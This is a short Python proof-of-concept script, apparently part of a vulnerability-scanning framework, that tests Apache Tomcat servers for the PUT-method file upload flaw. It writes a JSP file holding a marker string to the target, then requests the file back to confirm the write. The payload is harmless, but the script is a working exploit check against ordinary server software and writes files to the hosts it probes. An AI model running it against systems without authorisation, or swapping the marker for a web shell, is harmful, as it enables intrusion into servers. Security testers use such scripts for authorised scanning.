import requests
import sys
# from bs4 import BeautifulSoup
from json_parse import Jsonparse


class tomcat_put(object):

    def __init__(self, ip, port, level):
        self.ip=ip
        self.port = port
        self.level = level    
    
    def attack(self):
        user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
        headers={"User-Agent":user_agent}
        data="woaizhongguo"
        url = 'http://' + self.ip +':'+str(self.port)+ '/111111.jsp/'
        try:
            requests.put(url, headers=headers, data=data,timeout=self.level)
            verify_response = requests.get(url[:-1], headers=headers,timeout=self.level)
            # soup = BeautifulSoup(verify_response.text, "lxml")
            if verify_response.status_code == 200 and 'woaizhongguo' in str(verify_response.text):
                print(self.ip+":vulnerable")
                exit(233)
            else :
                print(self.ip+":not vulnerable")
                exit(1)
        except Exception as e:
            print(self.ip + " : Connection refused.")
            print(e)
            exit(-1)

if __name__ == '__main__':
    jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
    jsonobj = Jsonparse(jsonfile)
    jsondata = jsonobj.parse()
    target = sys.argv[2]
    timeout = jsondata['timeout']
    port = sys.argv[3]
    attack = tomcat_put(target, port, timeout)
    attack.attack()